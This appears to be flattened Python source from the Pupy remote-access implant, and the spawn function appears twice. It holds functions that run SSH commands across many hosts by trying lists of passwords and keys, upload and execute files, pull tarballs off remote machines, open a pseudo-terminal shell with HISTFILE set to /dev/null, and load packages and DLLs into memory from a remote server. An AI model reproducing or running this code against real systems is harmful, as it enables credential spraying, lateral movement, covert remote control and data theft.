def ssh_exec(command, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout): hosts = obtain(hosts) private_keys = obtain(private_keys) passwords = obtain(passwords) return _ssh_cmd(SSH.check_output, 'SSH (Exec) Non-Interactive Reader', command, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout)
def ssh_upload_file(src, dst, perm, touch, chown, run, delete, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout): hosts = obtain(hosts) private_keys = obtain(private_keys) passwords = obtain(passwords) dst = path.expanduser(dst) return _ssh_cmd(SSH.upload_file, 'SSH (Upload) Non-Interactive Reader', [src, dst, perm, touch, chown, run, delete], hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout)
def ssh_download_tar(src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout): hosts = obtain(hosts) private_keys = obtain(private_keys) passwords = obtain(passwords) src = path.expanduser(src) return _ssh_cmd(SSH.download_tar, 'SSH (Download/Tar) Non-Interactive Reader', src, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout)
def ssh_interactive(term, w, h, wp, hp, host, port, user, passwords, private_keys, program, data_cb, close_cb, timeout): private_keys = obtain(private_keys) passwords = obtain(passwords) data_cb = async (data_cb) close_cb = async (close_cb) ssh_passwords, key_passwords = passwords try: ssh = SSH(host, port, user, ssh_passwords, key_passwords, private_keys, interactive=True, timeout=timeout) if not ssh.connected: raise ValueError( 'No valid credentials found to connect to {}:{} user={}'. format(ssh.host, ssh.port, ssh.user or 'any')) except gaierror as e: raise ValueError('Unable to connect to {}:{} - {}'.format( host, port, e.strerror)) except NoValidConnectionsError: raise ValueError('Unable to connect to {}:{}'.format(host, port)) attach, writer, resizer, closer = ssh.shell(term, w, h, wp, hp, program, data_cb, close_cb) def ssh_close(): closer() ssh.close() return attach, writer, resizer, ssh_close
def _ssh_cmd(ssh_cmd, thread_name, arg, hosts, port, user, passwords, private_keys, data_cb, close_cb, timeout): hosts = obtain(hosts) private_keys = obtain(private_keys) default_passwords = obtain(passwords) default_user = user default_port = port data_cb = async (data_cb) close_cb = async (close_cb) current_connection = [None] closed = Event() def ssh_exec_thread(): for host, port, user, passwords, key_passwords in iter_hosts( hosts, default_passwords, default_port, default_user): if closed.is_set(): break ssh = None try: ssh = SSH(host, port, user, passwords, key_passwords, private_keys, timeout=timeout) if not ssh.connected: data_cb((0, True, ssh.host, ssh.port, ssh.user)) continue current_connection[0] = ssh except (socket_error, NoValidConnectionsError): if ssh: data_cb((0, False, ssh.host, ssh.port, ssh.user)) else: data_cb((0, False, host, port, user)) continue except Exception as e: data_cb( (3, 'Exception: {}: {}\n{}'.format(type(e), str(e), format_exc(limit=20)))) continue conninfo = [4] conninfo.extend(ssh.success_args) data_cb(tuple(conninfo)) def remote_data(data): data_cb((1, data)) if closed.is_set(): break try: if ssh_cmd == SSH.check_output: def remote_exit(status): data_cb((2, status)) ssh_cmd(ssh, arg, on_stdout=remote_data, on_stderr=remote_data, on_exit=remote_exit) else: if ssh_cmd == SSH.upload_file: def remote_exit(status, stdout, stderr): if stdout: data_cb((1, stdout)) if stderr: data_cb((3, stderr)) data_cb((2, status)) src, dst, touch, perm, chown, run, delete = arg ssh_cmd(ssh, *arg, completed_cb=remote_exit) elif ssh_cmd in (SSH.download_file, SSH.download_tar): def remote_exit(status, stderr): if stderr: data_cb((3, stderr)) data_cb((2, status)) ssh_cmd(ssh, arg, remote_data, completed_cb=remote_exit) finally: ssh.close() def ssh_exec_thread_wrap(): try: ssh_exec_thread() finally: try: closed.set() except: pass try: close_cb() except: pass thread = Thread(name=thread_name, target=ssh_exec_thread_wrap) thread.daemon = True thread.start() return closed.set
def spawn(self, argv=None, term=None, suid=None): if argv is None: if 'SHELL' in os.environ: argv = [os.environ['SHELL']] elif 'PATH' in os.environ: #searching sh in the path. It can be unusual like /system/bin/sh on android for shell in ["bash", "sh", "ksh", "zsh", "csh", "ash"]: for path in os.environ['PATH'].split(':'): fullpath = os.path.join(path.strip(), shell) if os.path.isfile(fullpath): argv = [fullpath] break if argv: break else: argv = obtain( argv) #this transforms a rpyc netref list into a list if argv: shell = argv[0].split('/')[-1] if shell == 'bash': argv = [argv[0], '--noprofile', '--norc'] + argv[1:] else: argv = ['/bin/sh'] if term is not None: os.environ['TERM'] = term master, slave = pty.openpty() self.master = os.fdopen(master, 'rb+wb', 0) # open file in an unbuffered mode flags = fcntl.fcntl(self.master, fcntl.F_GETFL) assert flags >= 0 flags = fcntl.fcntl(self.master, fcntl.F_SETFL, flags | os.O_NONBLOCK) assert flags >= 0 env = os.environ.copy() env['HISTFILE'] = '/dev/null' env['PATH'] = ':'.join([ '/bin', '/sbin', '/usr/bin', '/usr/sbin', '/usr/local/bin', '/usr/local/sbin' ]) + ':' + env['PATH'] if suid is not None: try: suid = int(suid) except: pass try: if type(suid) == int: info = pwd.getpwuid(suid) else: info = pwd.getpwnam(suid) env['USER'] = info.pw_name env['HOME'] = info.pw_dir env['LOGNAME'] = info.pw_name except: pass self.prog = subprocess.Popen(shell=False, args=argv, stdin=slave, stdout=slave, stderr=subprocess.STDOUT, preexec_fn=lambda: prepare(suid, slave), env=env) os.close(slave)
def find_module(self, fullname, path=None, second_pass=False): if fullname.startswith('exposed_'): return None global remote_load_package global builtin_memimporter dprint('Find module: {}/{}/{}'.format(fullname, path, second_pass)) if not second_pass: imp.acquire_lock() selected = None try: files = [] if fullname in ('pywintypes', 'pythoncom'): fullname = fullname + '27.dll' files = [fullname] else: files = get_module_files(fullname) dprint('[L] find_module({},{}) in {})'.format( fullname, path, files)) if not builtin_memimporter: dprint('[L] find_module: filter out native libs') files = [ f for f in files if not f.lower().endswith(('.pyd', '.dll', '.so')) ] if not files: dprint('{} not found in {}: not in {} files'.format( fullname, files, len(files))) if remote_load_package and not second_pass: parts = fullname.split('.')[:-1] for i in xrange(len(parts)): part = '.'.join(parts[:i + 1]) if part in modules or part in sys.modules: return None if not PupyPackageFinder.search_lock is None: with PupyPackageFinder.search_lock: if fullname in PupyPackageFinder.search_set: return None else: PupyPackageFinder.search_set.add(fullname) try: dprint('Remote load package {}'.format(fullname)) packages, dlls = remote_load_package(fullname) dprint('Remote load package {} - success'.format( fullname)) if not packages and not dlls: dprint('Remote load package {} - not found'.format( fullname)) else: if dlls: dlls = pupy.obtain(dlls) for name, blob in dlls: load_dll(name, blob) if packages: pupy_add_package(packages, True, fullname) if fullname in sys.modules: return DummyPackageLoader() return self.find_module(fullname, second_pass=True) except Exception as e: dprint('Exception: {}'.format(e)) finally: if not PupyPackageFinder.search_lock is None: with PupyPackageFinder.search_lock: PupyPackageFinder.search_set.remove(fullname) return None criterias = [ lambda f: any([ f.endswith('/__init__' + ext) for ext in ['.pye', '.pyo', '.pyc', '.py'] ]), lambda f: any( [f.endswith(ext) for ext in ['.pye', '.pyo', '.pyc']]), lambda f: any([ f.endswith(ext) for ext in ['.pyd', '.py', '.so', '.dll'] ]), ] selected = None for criteria in criterias: for pyfile in files: if criteria(pyfile) and pyfile in modules: selected = pyfile break if not selected: dprint('{} not selected from {}'.format(fullname, files)) return None del files[:] content = modules[selected] dprint('{} found in "{}" / size = {}'.format( fullname, selected, len(content))) extension = selected.rsplit(".", 1)[1].strip().lower() is_pkg = any([ selected.endswith('/__init__' + ext) for ext in ['.pye', '.pyo', '.pyc', '.py'] ]) dprint('--> Loading {} ({}) package={}'.format( fullname, selected, is_pkg)) return PupyPackageLoader(fullname, content, extension, is_pkg, selected) except Exception as e: dprint('--> Loading {} failed: {}/{}'.format(fullname, e, type(e))) if 'traceback' in sys.modules: import traceback traceback.print_exc(e) raise e finally: # Don't delete network.conf module if selected and \ not selected.startswith(('network/conf', 'pupytasks')) and \ selected in modules: dprint('[L] {} remove {} from bundle / count = {}'.format( fullname, selected, len(modules))) del modules[selected] if not second_pass: imp.release_lock() gc.collect()
def spawn(self, argv=None, term=None, suid=None): if argv is None: if 'SHELL' in os.environ: argv = [os.environ['SHELL']] elif 'PATH' in os.environ: #searching sh in the path. It can be unusual like /system/bin/sh on android for shell in [ "bash", "sh", "ksh", "zsh", "csh", "ash" ]: for path in os.environ['PATH'].split(':'): fullpath=os.path.join(path.strip(),shell) if os.path.isfile(fullpath): argv=[fullpath] break if argv: break else: argv=obtain(argv) #this transforms a rpyc netref list into a list if argv: shell = argv[0].split('/')[-1] if shell == 'bash': argv = [ argv[0], '--noprofile', '--norc' ] + argv[1:] else: argv= ['/bin/sh'] if term is not None: os.environ['TERM']=term master, slave = pty.openpty() self.master = os.fdopen(master, 'rb+wb', 0) # open file in an unbuffered mode flags = fcntl.fcntl(self.master, fcntl.F_GETFL) assert flags >= 0 flags = fcntl.fcntl(self.master, fcntl.F_SETFL , flags | os.O_NONBLOCK) assert flags >= 0 env = os.environ.copy() env['HISTFILE'] = '/dev/null' env['PATH'] = ':'.join([ '/bin', '/sbin', '/usr/bin', '/usr/sbin', '/usr/local/bin', '/usr/local/sbin' ]) + ':' + env['PATH'] if suid is not None: try: suid = int(suid) except: pass try: if type(suid) == int: info = pwd.getpwuid(suid) else: info = pwd.getpwnam(suid) env['USER'] = info.pw_name env['HOME'] = info.pw_dir env['LOGNAME'] = info.pw_name except: pass self.prog = subprocess.Popen( shell=False, args=argv, stdin=slave, stdout=slave, stderr=subprocess.STDOUT, preexec_fn=lambda: prepare(suid, slave), env=env ) os.close(slave)